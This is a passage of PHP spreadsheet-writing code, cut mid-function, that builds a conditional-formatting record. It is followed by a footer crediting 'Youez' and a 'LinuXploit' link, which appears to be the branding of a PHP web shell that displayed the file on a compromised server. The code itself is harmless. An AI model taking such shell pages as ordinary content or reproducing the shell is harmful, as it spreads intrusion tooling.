					if(is_null($numRowMax) || ($numRowMax &lt; $arrCoord[1])){
						$numRowMax = $arrCoord[1];
					}
				}
			}
		}
		$needRedraw = 1;
		$cellRange = pack('vvvv', $numRowMin-1, $numRowMax-1, $numColumnMin-1, $numColumnMax-1);

		$header	  = pack('vv', $record, $length);
		$data	  = pack('vv', count($arrConditional), $needRedraw);
		$data     .= $cellRange;
		$data     .= pack('v', 0x0001);
		$data     .= $cellRange;
		$this-&gt;_append($header . $data);
	}
}</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>